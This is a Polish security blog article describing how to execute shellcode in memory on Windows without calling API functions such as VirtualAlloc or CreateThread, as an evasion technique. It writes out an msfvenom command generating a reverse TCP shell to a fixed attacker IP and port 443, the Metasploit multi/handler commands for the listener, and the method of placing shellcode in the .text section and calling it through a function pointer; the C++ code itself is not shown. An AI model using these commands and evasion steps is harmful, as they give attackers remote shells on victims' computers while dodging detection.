Menu dostępności

Uruchomienie złośliwego kodu w pamięci na Windows bez korzystania z funkcji Windows API

W ostatnim naszym artykule pokazaliśmy uruchomienie złośliwego kodu za pomocą wbudowanych w Windows funkcji API np. VirtualAlloc() – funkcji powalającej zarezerwować lub zmienić alokację kodu w pamięci.
Jest to jedna ze znanych metod infekcji malware i uruchomienia go w pamięci komputera.

W dzisiejszym artykule pokażemy inną, równie ciekawą metodę na uruchomienie takiego złośliwego kodu z poziomu aplikacji napisanej w C/C++ bez korzystania ze wskaźników funkcji API (dobrze znanych interfejsów API systemu Windows, takich jak VirtualAlloc, CreateThread) lub w ogóle innych funkcji, nawet funkcji głównej (main w C/c++) 🙂 Cały kod zajmuje kilka linijek!


Co potrzebujemy?

Pierwszą rzeczą jaka musimy wygenerować to shellcode, który wstawimy jako zmienną do naszego programu napisanego w C++. Przygotować go możemy w dwóch krokach.

Krok 1. Wygenerowanie ładunku w C

Pierwszą rzeczą, jaką wykonamy to wygenerowanie ładunku w języku C++. Wygenerować go możemy za pomocą narzędzia Metasploit msfvenom, nastepującą komendą:

msfvenom -p windows/x64/shell_reverse_tcp -f c LHOST=172.16.215.129 LPORT=443

Krok 2. Przygotowanie nasłuchu połączenia odwrotnego TCP na serwerze C2

Drugą rzeczą jaką musimy przygotować to skonfigurowanie serwera C2 do nasłuchu na określonym porcie (w naszym przypadku 443) wszystkich połączeń/sesji od naszego kodu powłoki (ładunku), który zostanie uruchomiony na komputerze ofiary. Komunikacja będzie działała po połączeniu odwrotnym TCP, więc wystarczy, że wskażemy na sztywno adres IP serwera oraz port.

W tym celu posłużymy się modułem „multi/handler” w Metasploit, który przechwyci sesję po wykonaniu kodu powłoki w systemie docelowym.

Komendy jakie musimy wprowadzić to: use exploit/multi/handler set payload windows/x64/shell_reverse_tcp set LPORT 443 set LHOST 172.16.215.129 exploit


Napisanie kodu w C++ i kompilacja

W celu uruchomienia naszego ładunku przygotowanego w kroku 1, musimy użyć MS Visual C ++ i sekcji pragma wraz ze specyfikatorem deklaracji alokacji. W ten sposób wskażemy kompilatorowi C++, że chcemy, aby nasz shellcode został przydzielony w sekcji .text naszego przenośnego pliku wykonywalnego, co eliminuje potrzebę programu do przydzielania obiektu blob pamięci RWX do przechowywania kodu powłoki. Dodatkowo musimy rzucić tablicę zawierającą nasz shellcode na wskaźnik funkcji i wywołać ją – to pozwala nam pominąć CreateThread lub podobne API Windows, które są zwykle używane do przeskakiwania do shellcode

Kod w programie C++ wygląda następująco:

Po wstawieniu do zmiennej tablicowej shellcode (kodu wygenerowanego w kroku 1) i kompilacji programu możemy go uruchomić na Windows 10.

Po uruchomieniu na Windows 10 zobaczymy połączenie do naszego serwera C2 i będziemy posiadać uruchomioną zdalną sesję do Windows 10.

Popularne

Zero-day w pakiecie Office wykorzystywany w atakach

Zero-day w pakiecie Office wykorzystywany w atakach

Microsoft wydał poprawki dla luki CVE-2026-21509. Jest to niedawno ujawniona podatność typu zero-day w pakiecie Office, która może zostać wykorzystana do obejścia funkcji zabezpieczeń. W komunikacie giganta...
Nowy poziom bezpieczeństwa. Android 16 wzmacnia ochronę przed kradzieżą – co to oznacza dla Twojego smartfona?

Nowy poziom bezpieczeństwa. Android 16 wzmacnia ochronę przed kradzieżą – co to oznacza dla Twojego smartfona?

W erze, gdy smartfony zawierają całą naszą cyfrową tożsamość - od zdjęć i danych osobowych po dostęp do bankowości - kradzież telefonu to już nie tylko strata sprzętu, ale potencjalna furtka do finansowej...
Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

Jak zmienić nieznane/zapomniane hasło Administratora na Windows?

W tym artykule pokażemy, jak możemy zmienić hasło administratora na komputerze posiadając do niego fizyczny dostęp. Artykuł ten można potraktować także jako przestrogę dla firm, które nie zaimplementowały jeszcze odpo...
Od kart perforowanych do hasła. Historia logowania

Od kart perforowanych do hasła. Historia logowania

Dziś logowanie jest czynnością banalną: login, hasło, kliknięcie. Trudno sobie wyobrazić komputer bez kont użytkowników i uwierzytelniania. A jednak przez pierwsze dekady informatyki logowanie w ogóle...
Jak zoptymalizować budżet na cyberbezpieczeństwo w 2026 roku

Jak zoptymalizować budżet na cyberbezpieczeństwo w 2026 roku

W czasach rosnących zagrożeń i coraz bardziej zaawansowanych ataków wydatki na cyberbezpieczeństwo nie są już tylko „kosztem” -  stały się strategiczną inwestycją chroniącą integralność danych, reputację o...